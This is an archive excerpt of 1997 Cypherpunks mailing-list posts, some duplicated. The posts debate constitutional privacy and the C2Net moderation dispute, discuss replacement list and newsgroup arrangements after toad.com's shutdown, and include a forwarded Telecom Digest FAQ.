Names revealed, etc.? > > This is where I often get a little confused. > > Correct me if I am wrong, but it was my understanding that the > constitutuion was _not_ a document that explicitly spelled out what writes > _I_ had, but rather spelled out fairly precisely what the _government_ was > allowed to do. > > In otherwords, the Constitution does not restrict _me_ rather it > restricts the _feds_ (and the Feds alone). You neglect things like the interstate commerce provision, which means that if it crosses state lines, the feds can regualte it. In addition, the court (in its infinite wisdom), decided that "the people" meant the states, then the people. So, as long as it isn't meantioned in the constitution, the states can do whatever they want. Welcome to America, please stay in line. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwjGzskz/YzIV3P5AQGKbAL+OA3vfIyutiHrnKXRaydKz0R9hhIinVV3 sSjacpA7MNDxH+bCQhDwqx2WRT89JjKK64nTw+4YF05h3pzl1IV3TD1WNDkt8UIe 5m8Y0LY1v2M5+dGq0ifpKicV8IUkvYar =UsSo -----END PGP SIGNATURE----- From dthorn at gte.net Mon Feb 17 13:00:45 1997 From: dthorn at gte.net (Dale Thorn) Date: Mon, 17 Feb 1997 13:00:45 -0800 (PST) Subject: Moderation experiment and moderator liability In-Reply-To: <199702111922.TAA00444@server.test.net> Message-ID: <3308C18F.7138@gte.net> Adam Back wrote: > Dale Thorn writes: > > Adam Back wrote: > > > [summary of events] > > I believe your summary is very accurate except: > > I would add after the paragraph about Dimitri posting the warning > > about C2, that C2's lawyers sent an immediate threatening letter > > to Dimitri. > Agree, that should be added: > 15a. Dimitri received a legal notice from C2Net's lawyers about > Dimitri's allegations I know this could sound really nitpicky, but proofreading etc. is a big thing for me, so, I personally would not say "legal notice" alone, as it doesn't convey the sense of threat that was very real in the letter to Dimitri. Perhaps "terse legal notice" or words to that effect... > > I would change the paragraph about Tim May receiving a warning from > > C2's lawyers to say that Tim May received a warning second-hand that > > anything Tim would say to support or reiterate Dimitri's claims > > would be actionable by C2 as well. > Let's see I wrote: > > 21. Tim received a warning from C2Net's lawyers that if he did not > > desist from mentioning that Dimitri had posted an article criticising > > a C2Net product that he would be sued! > Tim explained the situation in fair detail in his recent post, > explaining, after Sandy's "Absolutely false." retort to my above > claim. Perhaps my wording could be more accurately changed in the > light of the further explanation from Tim to: > 21. Tim was told by a C2Net employee that if he did not desist from > discussing Dimitri's claims about C2Net's StrongHold product, C2Net > would take legal action against him! Again, at the risk of nitpicking, I'd say "might take legal action...". Just an opinion, I think you've done a really good job summarizing these events. From dthorn at gte.net Mon Feb 17 13:05:58 1997 From: dthorn at gte.net (Dale Thorn) Date: Mon, 17 Feb 1997 13:05:58 -0800 (PST) Subject: The Offending Stronghold posts... In-Reply-To: Message-ID: <3308C69B.792D@gte.net> Timothy C. May wrote: > Interestingly, I don't recall getting any e-mail from Sandy telling me he > was not passing on my messages to either the Main or the Flames list...my > messages were simply dropped on the floor. [snip] > As conversational threads are often so tangled, and become so much more > tangled with time, the job of the censor gets more difficult as time > passes. Not only must he excise all mention of banned topics, he must also > be alert to later discussions making mention of the act of banning, or of > the topics. This is territory well-covered by Orwell, of course. The > rewriting of history is a full-time job. Exactly. I hate to intrude, but some of us kids learned that lesson in something called "Sunday School" way back when. The lesson was "If you tell one lie, you'll have to tell another to cover it up, then another and another until you're buried in the lies and your credibility is shot". A related lesson: "An excuse is the skin of a reason packed with a lie". From froomkin at law.miami.edu Mon Feb 17 13:29:16 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Mon, 17 Feb 1997 13:29:16 -0800 (PST) Subject: Cypherpunks afraid of spam? Message-ID: <199702172129.NAA14193@toad.com> On Fri, 14 Feb 1997 aaron at herringn.com wrote: > [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule > him personally, just his (distressingly common) attitude] Hey, I can take the heat. But I'm afraid you missed my perhaps too-terse point. > >Just for the record. I will not post to USENET given the spamming that > >seems to go to IDs that appear there. > > [chuckle] > > Just add an anti-spam segment to your email address. > > example: > > jsmith[at]foo.com > It's not that simple. Consider: 1) I stopped learning more about new computer tools than the minimum needed to do my work a long time ago, when I stopped programming and started lawyering. It wasn't an efficient use of my time. 2) Our system here has ONE email system: PINE. It defaults my "from" address. There is no obvious way to override it. I may have the necessary tools and permissions, I may not; I don't feel like taking whatever time it takes to figure it out. We use PINE for usenet and email, using the same config file. There are other usenet tools here, like tin, but I would have to learn them. Again, I have no idea if I have the permissions/tools/knowledge to alter my headers. I am certain that I could hack it with time enough and motivation enough. I have neither. 3) I do other things besides talk to you with this tool. I communicate with students, family and others. I want them to get my real headers. I don't want an elaborate switching mechanims every time I change the person I'm speaking to. > Most people worth talking to have enough of a clue to replace [at] with @. > > if your software requires an apparently valid email address, try > > jsmith at NOSPAM.foo.com > > I put a spam-busted address in my .sig and give root at 127.0.0.1 as my email > in the from: header. Sure, somebody out there is going to be unhappy with > me, but if they have a clue they'll figure it out. Meantime, the SpamBots > are bouncing mail to the admin of the site instead of to me. > > That may not be enough if you're already in the spamming lists. Try > using 'positive' filtering- instead of filtering to eliminate unwanted > mail, filter email from regular correspondents into a 'approved' > directory, and leave the rest in the inbox to pick through later. > > It seems very strange that the denziens of this list, reputed to be gutsy > enough to take on the FBI, NSA, CIA, and White House, would be scared > away from a discussion forum (Usenet) by uninvited email. > > We'd better hope they never figure out Cypherpunks, Guardians of > Privacy and Defenders of Free Speech, are afraid of spam. > > (And supposedly the 'Moderation experiment' is over, so this won't get > kicked onto the -flames list, although it's more ridicule than flame...) > > > > == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From drose at azstarnet.com Mon Feb 17 14:53:02 1997 From: drose at azstarnet.com (drose at azstarnet.com) Date: Mon, 17 Feb 1997 14:53:02 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702172252.PAA14054@web.azstarnet.com> With regard to chemicals, may I suggest a perusal of the PGI and PML lists (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These are good resources; just about anything you might want is available. However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk Newsgroup folks-thanx Dimi--there *is* a difference). Yea, (as D. Thorn might babble, if I understand the shards of his stuff quoted in the posts of those who should know better) when I was a young fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you have any idea what metallic sodium and red fuming nitric acid and Willy Ley-strength Hydrogen Peroxide are all about?" Me, personally? I'm glad to have traded the availability of interesting reagents for the "Oppa-tune-itee" of having freedom and justice. (Although nobody "axed" my opinion prior to there having been a reversal in the thrust of gummint regulations.) From toto at sk.sympatico.ca Mon Feb 17 16:30:22 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 17 Feb 1997 16:30:22 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? In-Reply-To: <199702170736.CAA02163@mercury.peganet.com> Message-ID: <330905A2.5371@sk.sympatico.ca> Bill Campbell wrote: > > Everyone and his/her cousin has jumped into the void > created when John Gilmore decided to pull the plug > on toad.com. > Has anyone composed a concise summary of just > what the options are? I have subscribed to Igor's cypherpunks at algebra.com. Jim Choate and Lance Cottrel (?) are participating with Igor and others in maintaining continuity of the list, to my understanding. They all seem to be moving toward maintaining a distributed list which will ensure both continuity and integrity. I would suggest joining one or the other list and then, once the 'dust' has settled, taking steps to verify that whatever list you are subscribed to is operating in such a way as to ensure that there are no shenanigans going on in the background. I, for one, am content to give the new list distributors the benefit of the doubt if there are anomalies in the new system, given the haste in which they must initiate a new distributed mailing list system. On the other hand, they may all be godless communists, seeking to twist our fragile minds to do their bidding. (Much like myself) Toto From azur at netcom.com Mon Feb 17 16:46:00 1997 From: azur at netcom.com (Steve Schear) Date: Mon, 17 Feb 1997 16:46:00 -0800 (PST) Subject: PDAs as alternatives to smart cards? Message-ID: With the widespread adoption of an industry standard IR link between PDA type devices, networks and PCs might this not present an opportunity for their use as more user-configurable and application agile financial and communiation privacy instruments? I'm especially thinking along the lines of their use for ecash transactions in conjunction with smart card-type merchant terminals sporting an inexpensive IR link to the customer's PDA. If disk protection programs (e.g., DiskCrypt/PGPDisk) were extended to PDAs ight that not enable them for a whole host of personal applications? --Steve From dthorn at gte.net Mon Feb 17 16:50:34 1997 From: dthorn at gte.net (Dale Thorn) Date: Mon, 17 Feb 1997 16:50:34 -0800 (PST) Subject: The Science Generations, II In-Reply-To: <199702172252.PAA14054@web.azstarnet.com> Message-ID: <3308FCA0.3548@gte.net> drose at azstarnet.com wrote: > With regard to chemicals, may I suggest a perusal of the PGI and PML lists > (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These > are good resources; just about anything you might want is available. > However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk > Newsgroup folks-thanx Dimi--there *is* a difference). > Yea, (as D. Thorn might babble, if I understand the shards of his stuff > quoted in the posts of those who should know better) when I was a young > fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you > have any idea what metallic sodium and red fuming nitric acid and Willy > Ley-strength Hydrogen Peroxide are all about?" Yea, tho' they kicked me out of school for stashing this stuff in my wall locker, does that make me a bad person, or stupid? Lots of patriots in the late 1700's blew themselves up trying to make explosives for the cause. One person's freedom fighter.... From azur at netcom.com Mon Feb 17 17:03:45 1997 From: azur at netcom.com (Steve Schear) Date: Mon, 17 Feb 1997 17:03:45 -0800 (PST) Subject: Telecom Frequently Asked Questions File - 1997 Edition [fwd] Message-ID: From: David Leibold To: Telecom Digest Subject: Telecom Digest FAQ - revised edition TELECOM Digest - Frequently Asked Questions - v.8 8 February 1997 * Frequency of Updates: approximately annual (special updates are possible) * FAQ contributions to: Telecom.FAQ at superctl.tor250.org or, dleibold at else.net or, aa070 at freenet.toronto.on.ca Introduction... This is a list of frequently asked questions made in the TELECOM Digest. New versions of the list are occasionally made available to deal with new, corrected or updated questions. Many contributors have made the FAQ what it is today (those listed in the "Who contributed to this FAQ?" question are hereby thanked). Check the Archives... Much of the telecom information that is requested can be found in the TELECOM Digest Home Page, via WWW at: http://hyperarchive.lcs.mit.edu/telecom-archives This web page should have links to this FAQ file, as well as various informational files on telecom subjects and the Digest itself. The Archives for TELECOM Digest should also be available via the Home Page. The TELECOM Digest Archives are also available through anonymous FTP at massis.lcs.mit.edu (login as anonymous, mail address for password, cd to telecom-archives). If possible, try to access the information via the TELECOM Digest Home Page first. You can also access the Archives using anonymous ftp at the mirror site: ftp.epix.net/pub/telecom-archives. Also, there is an email <--> ftp service operating called the Telecom Archives Email Information Service. Anything in the archives can be obtained automatically by email. Send mail addressed to: tel-archives at massis.lcs.mit.edu The subject does not matter. Include no text, sending just a blank letter. You will get a help file by return mail and should use that as a guide to ordering stuff by email from the archives. A list of terms commonly used in TELECOM Digest is contained in a "Glossary" section on the Home Page or in the Archives. Try direct inquiries... Direct netmail requests to persons posting on topics of interest to you may also be helpful. In fact, doing things "behind the scenes" can be more productive as the Digest Moderator is frequently swamped with other items. Future editions of this list could include netmail addresses of contacts for certain topics (say for ISDN, cellular, area codes/numbering plan, consumer protection matters, etc.); offers to that end would be appreciated. Where to contact the FAQ maintainer... Suggestions for other common questions, or corrections or other amendments to this file may be made to Telecom.FAQ at superctl.tor250.org (Fido 1:259/730) or dleibold at else.net or aa070 at freenet.toronto.on.ca. Note that any or all of these addresses are subject to change or discontinuance. This file is updated approximately annually; special updates may be made as time and circumstances permit. Disclaimer Type Stuff... All information herein should be considered subject to correction or change. No endorsements or promotions of specific products or companies are intended. Any specific references are made for example only, or in order to adequately deal with certain subjects. From ichudov at algebra.com Mon Feb 17 17:05:25 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 17 Feb 1997 17:05:25 -0800 (PST) Subject: List of reliable remailers In-Reply-To: <199702171450.GAA16062@kiwi.cs.berkeley.edu> Message-ID: <199702180057.SAA10702@manifold.algebra.com> Raph Levien wrote: > > information about remailer features and reliability. > > To use it, just finger remailer-list at kiwi.cs.berkeley.edu > > There is also a Web version of the same information, plus lots of > interesting links to remailer-related resources, at: > http://www.cs.berkeley.edu/~raph/remailer-list.html > Raph, Would it be possible to use your testing program to test reliability of cypherpunks mailing lists? Thank you. igor From dthorn at gte.net Mon Feb 17 17:05:38 1997 From: dthorn at gte.net (Dale Thorn) Date: Mon, 17 Feb 1997 17:05:38 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: <199702170726.XAA26470@toad.com> Message-ID: <33090036.456B@gte.net> Timothy C. May wrote: > >> Some legal scholars are claiming that there is no provision in the > >> Constitution guaranteeing anonymity of purchases, and, indeed, a growing > >> number of purchases can no longer be anonymous--guns, explosives, chemicals > >> of various sorts, etc. How long before _all_ transactions must be recorded, > >> True Names revealed, etc.? [snip] > The issue hit when abortion advocates argued that a "woman's right to > privacy" allowed abortions. However, none of the enumerated rights made > this obvious. Bork has opined that no right to privacy can be inferred from > the Constitution. (And I always thought the "woman's right to privacy" > argument for abortion was flaky. Accepting such an argument, wouldn't > infanticide be equally protected by a woman's right to privacy?) A perfect invitation for rational argument. You obviously refer to the privacy/right to destroy your own personal property, which you pretty much have in the U.S., Constitution or no. So the issue above is whether the unborn baby is personal property (in the sense that I can chop off my hair or even my ear if I want to), or the child is personal property. The child issue has been settled effectively for many years now, but the controversy remains on the unborn. At least some of this privacy discussion would be better presented from another angle - how deep would the feds want to probe into the common folks' lives, what techniques would be employed, how would the serious folks get around those things, and where would the greatest (and most serious) amount of actions converge to flare up in the public consciousness (media, internet, etc.)? From ichudov at algebra.com Mon Feb 17 17:11:23 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 17 Feb 1997 17:11:23 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? In-Reply-To: Message-ID: <199702180107.TAA10923@manifold.algebra.com> Mark M. wrote: > - Newsgroups alt.cypherpunks, alt.cypherpunks.announce, > alt.cypherpunks.social, alt.cypherpunks.technical have been created. ... Along with several others. > - The distributed list is still forming and so far consists of > cypherpunks at algebra.com, cypherpunks at ssz.com, and others of which I > do not know the location. A mail<->news gateway is planned, but not > yet in place, between the distributed list and the newsgroup(s). It is in place. It feeds from cypherpunks at algebra.com. Bryan Reece reece at taz.nceye.net runs the posting bot. taz.nceye.net is an open newsserver offering several cypherpunks newsgroups. I am not yet sure if taz is now a part of the mainstream usenet, that is, it may not be connected to the Big USENET. > cypherpunks at algebra.com is receiving messages from > cypherpunks-unedited. I assume this means that the other hosts part > of the distributed list are also receiving cypherpunks-unedited > messages. Correct. > - Lance Cottrell is running another list (cypherpunks at cyberpass.net) that is > not yet part of the distributed list. It is also receiving feed from > toad.com. I will subscribe to it. Now, it is important to realize that Lance's machine is probably much better connected than mine. Once we get connected with him, you may be better off reading cypherpunks from cypherpunks at cyberpass.net. If you su-bsc-ribe to cypherpunks at algebra.com, it may take longer for articles to reach you. > If you don't want to miss any messages, then you should subscribe to both > cypherpunks at cyberpass.net and one of the distributed list nodes. Since both > are receiving cypherpunks-unedited, you can safely unsubscribe from > cypherpunks-unedited, -flames, or the "main" list. Since these lists have > overlapping content, you should delete duplicates. I still think that it is a good idea to do nothing for several days and wait until the distributed network picks up cyberpass. Then, subscribe to any node of your liking. - Igor. From dthorn at gte.net Mon Feb 17 17:12:54 1997 From: dthorn at gte.net (Dale Thorn) Date: Mon, 17 Feb 1997 17:12:54 -0800 (PST) Subject: Cypherpunks FAQ In-Reply-To: Message-ID: <330901F3.750E@gte.net> Toto wrote: > ISP_Ratings wrote: > > Yes--and given the role Dr. Vulis has played in this matter > > it would be most appropriate for him to write an FAQ (although > > I personally ignore most FAQs). >Perhaps it would be more appropriate for the good doctor to write a FUQs. Why not do it like the Declaration of Independence? A primary author puts the basic document together, and other persons with expertise in other important areas add to it, then it gets circulated on the list for comments and suggestions. "Other areas" not normally addressed in these kinds of documents should include subscribers' awareness that the crypto lists are a prime target of attention from federal agencies, et al, and that much of the material posted could be pure disinformation. From azur at netcom.com Mon Feb 17 17:41:49 1997 From: azur at netcom.com (Steve Schear) Date: Mon, 17 Feb 1997 17:41:49 -0800 (PST) Subject: PDAs as alternatives to smart cards? Message-ID: <199702180141.RAA19121@toad.com> With the widespread adoption of an industry standard IR link between PDA type devices, networks and PCs might this not present an opportunity for their use as more user-configurable and application agile financial and communiation privacy instruments? I'm especially thinking along the lines of their use for ecash transactions in conjunction with smart card-type merchant terminals sporting an inexpensive IR link to the customer's PDA. If disk protection programs (e.g., DiskCrypt/PGPDisk) were extended to PDAs ight that not enable them for a whole host of personal applications? --Steve From drose at AZStarNet.com Mon Feb 17 17:41:57 1997 From: drose at AZStarNet.com (drose at AZStarNet.com) Date: Mon, 17 Feb 1997 17:41:57 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702180141.RAA19137@toad.com> With regard to chemicals, may I suggest a perusal of the PGI and PML lists (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These are good resources; just about anything you might want is available. However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk Newsgroup folks-thanx Dimi--there *is* a difference). Yea, (as D. Thorn might babble, if I understand the shards of his stuff quoted in the posts of those who should know better) when I was a young fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you have any idea what metallic sodium and red fuming nitric acid and Willy Ley-strength Hydrogen Peroxide are all about?" Me, personally? I'm glad to have traded the availability of interesting reagents for the "Oppa-tune-itee" of having freedom and justice. (Although nobody "axed" my opinion prior to there having been a reversal in the thrust of gummint regulations.) From dthorn at gte.net Mon Feb 17 17:42:09 1997 From: dthorn at gte.net (Dale Thorn) Date: Mon, 17 Feb 1997 17:42:09 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702180142.RAA19145@toad.com> drose at azstarnet.com wrote: > With regard to chemicals, may I suggest a perusal of the PGI and PML lists > (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These > are good resources; just about anything you might want is available. > However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk > Newsgroup folks-thanx Dimi--there *is* a difference). > Yea, (as D. Thorn might babble, if I understand the shards of his stuff > quoted in the posts of those who should know better) when I was a young > fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you > have any idea what metallic sodium and red fuming nitric acid and Willy > Ley-strength Hydrogen Peroxide are all about?" Yea, tho' they kicked me out of school for stashing this stuff in my wall locker, does that make me a bad person, or stupid? Lots of patriots in the late 1700's blew themselves up trying to make explosives for the cause. One person's freedom fighter.... From reece at taz.nceye.net Mon Feb 17 17:42:45 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Mon, 17 Feb 1997 17:42:45 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? In-Reply-To: <199702180107.TAA10923@manifold.algebra.com> Message-ID: <19970218014256.29119.qmail@taz.nceye.net> Delivered-To: reece-cpunks-raw at nceye.net Date: Mon, 17 Feb 1997 19:07:25 -0600 (CST) Cc: cypherpunks at toad.com, wcampbel at peganet.com Reply-To: ichudov at algebra.com (Igor Chudov) From: ichudov at algebra.com (Igor Chudov @ home) X-No-Archive: yes Organization: Bool Sheet Software X-Mailer: ELM [version 2.4 PL24 ME7] Content-Type: text Sender: owner-cypherpunks at toad.com Precedence: bulk Mark M. wrote: > - Newsgroups alt.cypherpunks, alt.cypherpunks.announce, > alt.cypherpunks.social, alt.cypherpunks.technical have been created. ... Along with several others. > - The distributed list is still forming and so far consists of > cypherpunks at algebra.com, cypherpunks at ssz.com, and others of which I > do not know the location. A mail<->news gateway is planned, but not > yet in place, between the distributed list and the newsgroup(s). It is in place. It feeds from cypherpunks at algebra.com. Bryan Reece reece at taz.nceye.net runs the posting bot. taz.nceye.net is an open newsserver offering several cypherpunks newsgroups. I am not yet sure if taz is now a part of the mainstream usenet, that is, it may not be connected to the Big USENET. It receives some Big Usenet groups, but only for local users. alt.cypherpunks is open, but there will be long delays, on the order of a day, for articles there (unless someone better connected to Usenet wants to feed me alt.cypherpunks.*---any volunteers?). From dthorn at gte.net Mon Feb 17 17:44:14 1997 From: dthorn at gte.net (Dale Thorn) Date: Mon, 17 Feb 1997 17:44:14 -0800 (PST) Subject: The Offending Stronghold posts... Message-ID: <199702180144.RAA19212@toad.com> Timothy C. May wrote: > Interestingly, I don't recall getting any e-mail from Sandy telling me he > was not passing on my messages to either the Main or the Flames list...my > messages were simply dropped on the floor. [snip] > As conversational threads are often so tangled, and become so much more > tangled with time, the job of the censor gets more difficult as time > passes. Not only must he excise all mention of banned topics, he must also > be alert to later discussions making mention of the act of banning, or of > the topics. This is territory well-covered by Orwell, of course. The > rewriting of history is a full-time job. Exactly. I hate to intrude, but some of us kids learned that lesson in something called "Sunday School" way back when. The lesson was "If you tell one lie, you'll have to tell another to cover it up, then another and another until you're buried in the lies and your credibility is shot". A related lesson: "An excuse is the skin of a reason packed with a lie". From toto at sk.sympatico.ca Mon Feb 17 17:44:19 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 17 Feb 1997 17:44:19 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702180144.RAA19225@toad.com> Bill Campbell wrote: > > Everyone and his/her cousin has jumped into the void > created when John Gilmore decided to pull the plug > on toad.com. > Has anyone composed a concise summary of just > what the options are? I have subscribed to Igor's cypherpunks at algebra.com. Jim Choate and Lance Cottrel (?) are participating with Igor and others in maintaining continuity of the list, to my understanding. They all seem to be moving toward maintaining a distributed list which will ensure both continuity and integrity. I would suggest joining one or the other list and then, once the 'dust' has settled, taking steps to verify that whatever list you are subscribed to is operating in such a way as to ensure that there are no shenanigans going on in the background. I, for one, am content to give the new list distributors the benefit of the doubt if there are anomalies in the new system, given the haste in which they must initiate a new distributed mailing list system. On the other hand, they may all be godless communists, seeking to twist our fragile minds to do their bidding. (Much like myself) Toto From jer+ at andrew.cmu.edu Mon Feb 17 17:44:32 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Mon, 17 Feb 1997 17:44:32 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702180144.RAA19233@toad.com> -----BEGIN PGP SIGNED MESSAGE----- snow writes: > Mr. May wrote: > > Some legal scholars are claiming that there is no provision in the > > Constitution guaranteeing anonymity of purchases, and, indeed, a growing > > number of purchases can no longer be anonymous--guns, explosives, chemicals > > of various sorts, etc. How long before _all_ transactions must be recorded, > > True Names revealed, etc.? > > This is where I often get a little confused. > > Correct me if I am wrong, but it was my understanding that the > constitutuion was _not_ a document that explicitly spelled out what writes > _I_ had, but rather spelled out fairly precisely what the _government_ was > allowed to do. > > In otherwords, the Constitution does not restrict _me_ rather it > restricts the _feds_ (and the Feds alone). You neglect things like the interstate commerce provision, which means that if it crosses state lines, the feds can regualte it. In addition, the court (in its infinite wisdom), decided that "the people" meant the states, then the people. So, as long as it isn't meantioned in the constitution, the states can do whatever they want. Welcome to America, please stay in line. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwjGzskz/YzIV3P5AQGKbAL+OA3vfIyutiHrnKXRaydKz0R9hhIinVV3 sSjacpA7MNDxH+bCQhDwqx2WRT89JjKK64nTw+4YF05h3pzl1IV3TD1WNDkt8UIe 5m8Y0LY1v2M5+dGq0ifpKicV8IUkvYar =UsSo -----END PGP SIGNATURE----- From dthorn at gte.net Mon Feb 17 17:44:56 1997 From: dthorn at gte.net (Dale Thorn) Date: Mon, 17 Feb 1997 17:44:56 -0800 (PST) Subject: Moderation experiment and moderator liability Message-ID: <199702180144.RAA19245@toad.com> Adam Back wrote: > Dale Thorn writes: > > Adam Back wrote: > > > [summary of events] > > I believe your summary is very accurate except: > > I would add after the paragraph about Dimitri posting the warning > > about C2, that C2's lawyers sent an immediate threatening letter > > to Dimitri. > Agree, that should be added: > 15a. Dimitri received a legal notice from C2Net's lawyers about > Dimitri's allegations I know this could sound really nitpicky, but proofreading etc. is a big thing for me, so, I personally would not say "legal notice" alone, as it doesn't convey the sense of threat that was very real in the letter to Dimitri. Perhaps "terse legal notice" or words to that effect... > > I would change the paragraph about Tim May receiving a warning from > > C2's lawyers to say that Tim May received a warning second-hand that > > anything Tim would say to support or reiterate Dimitri's claims > > would be actionable by C2 as well. > Let's see I wrote: > > 21. Tim received a warning from C2Net's lawyers that if he did not > > desist from mentioning that Dimitri had posted an article criticising > > a C2Net product that he would be sued! > Tim explained the situation in fair detail in his recent post, > explaining, after Sandy's "Absolutely false." retort to my above > claim. Perhaps my wording could be more accurately changed in the > light of the further explanation from Tim to: > 21. Tim was told by a C2Net employee that if he did not desist from > discussing Dimitri's claims about C2Net's StrongHold product, C2Net > would take legal action against him! Again, at the risk of nitpicking, I'd say "might take legal action...". Just an opinion, I think you've done a really good job summarizing these events. From azur at netcom.com Mon Feb 17 17:45:41 1997 From: azur at netcom.com (Steve Schear) Date: Mon, 17 Feb 1997 17:45:41 -0800 (PST) Subject: Telecom Frequently Asked Questions File - 1997 Edition [fwd] Message-ID: <199702180145.RAA19302@toad.com> From: David Leibold To: Telecom Digest Subject: Telecom Digest FAQ - revised edition TELECOM Digest - Frequently Asked Questions - v.8 8 February 1997 * Frequency of Updates: approximately annual (special updates are possible) * FAQ contributions to: Telecom.FAQ at superctl.tor250.org or, dleibold at else.net or, aa070 at freenet.toronto.on.ca Introduction... This is a list of frequently asked questions made in the TELECOM Digest. New versions of the list are occasionally made available to deal with new, corrected or updated questions. Many contributors have made the FAQ what it is today (those listed in the "Who contributed to this FAQ?" question are hereby thanked). Check the Archives... Much of the telecom information that is requested can be found in the TELECOM Digest Home Page, via WWW at: http://hyperarchive.lcs.mit.edu/telecom-archives This web page should have links to this FAQ file, as well as various informational files on telecom subjects and the Digest itself. The Archives for TELECOM Digest should also be available via the Home Page. The TELECOM Digest Archives are also available through anonymous FTP at massis.lcs.mit.edu (login as anonymous, mail address for password, cd to telecom-archives). If possible, try to access the information via the TELECOM Digest Home Page first. You can also access the Archives using anonymous ftp at the mirror site: ftp.epix.net/pub/telecom-archives. Also, there is an email <--> ftp service operating called the Telecom Archives Email Information Service. Anything in the archives can be obtained automatically by email. Send mail addressed to: tel-archives at massis.lcs.mit.edu The subject does not matter. Include no text, sending just a blank letter. You will get a help file by return mail and should use that as a guide to ordering stuff by email from the archives. A list of terms commonly used in TELECOM Digest is contained in a "Glossary" section on the Home Page or in the Archives. Try direct inquiries... Direct netmail requests to persons posting on topics of interest to you may also be helpful. In fact, doing things "behind the scenes" can be more productive as the Digest Moderator is frequently swamped with other items. Future editions of this list could include netmail addresses of contacts for certain topics (say for ISDN, cellular, area codes/numbering plan, consumer protection matters, etc.); offers to that end would be appreciated. Where to contact the FAQ maintainer... Suggestions for other common questions, or corrections or other amendments to this file may be made to Telecom.FAQ at superctl.tor250.org (Fido 1:259/730) or dleibold at else.net or aa070 at freenet.toronto.on.ca. Note that any or all of these addresses are subject to change or discontinuance. This file is updated approximately annually; special updates may be made as time and circumstances permit. Disclaimer Type Stuff... All information herein should be considered subject to correction or change. No endorsements or promotions of specific products or companies are intended. Any specific references are made for example only, or in order to adequately deal with certain subjects. From ichudov at algebra.com Mon Feb 17 17:51:09 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 17 Feb 1997 17:51:09 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? In-Reply-To: <19970218014256.29119.qmail@taz.nceye.net> Message-ID: <199702180145.TAA11577@manifold.algebra.com> Bryan Reece wrote: > > It is in place. It feeds from cypherpunks at algebra.com. Bryan Reece > reece at taz.nceye.net runs the posting bot. taz.nceye.net is an open > newsserver offering several cypherpunks newsgroups. > > I am not yet sure if taz is now a part of the mainstream usenet, that > is, it may not be connected to the Big USENET. > > It receives some Big Usenet groups, but only for local users. > alt.cypherpunks is open, but there will be long delays, on the > order of a day, for articles there (unless someone better connected to > Usenet wants to feed me alt.cypherpunks.*---any volunteers?). > I just set up a recipe for using mail2news gateways like this: :0 c | formail -I "Newsgroups: alt.cypherpunks,misc.misc" | \ sendmail mail2news at anon.lcs.mit.edu mail2news at utopia.hacktic.nl Any objections? - Igor. From camcc at abraxis.com Mon Feb 17 17:54:05 1997 From: camcc at abraxis.com (Alec) Date: Mon, 17 Feb 1997 17:54:05 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <3.0.32.19970217205543.0069f644@smtp1.abraxis.com> -----BEGIN PGP SIGNED MESSAGE----- At 05:28 PM 2/17/97 -0800, you wrote: :anomalies in the new system, [now the big words!] :given the haste in which they must initiate a new distributed :mailing list system. : On the other hand, they may all be godless communists, seeking :to twist our fragile minds to do their bidding. (Much like myself) : :Toto I recant. You ARE nuts! Alec Niice post. -----BEGIN PGP SIGNATURE----- Version: 4.5 Comment: Message PGP 2.6.2. encrypted. Public key available on request or from keyservers. iQCVAgUBMwkMFiKJGkNBIH7lAQHNKQP/dDV5v6wREV37IPkaJTfQqL35c4MyFNfK t4/KmgneKmzGX9uqGzd8Z6kCeRk5vBhAbrhVsqaOhvZouakj2YWe1JbRZWmy+gNR ohY2NERNi0Xm5S1PUrwjQAJutFlw2VV+CZ4GYa/0IV3Fn++GzeZFENbOt6zBTkEZ PsWVhjvoRPU= =3ZEn -----END PGP SIGNATURE----- From ichudov at algebra.com Mon Feb 17 18:10:12 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 17 Feb 1997 18:10:12 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? In-Reply-To: <19970218015644.32237.qmail@taz.nceye.net> Message-ID: <199702180158.TAA11812@manifold.algebra.com> Bryan Reece wrote: > > Igor Chudov writes: > > Bryan Reece wrote: > > > > > > It 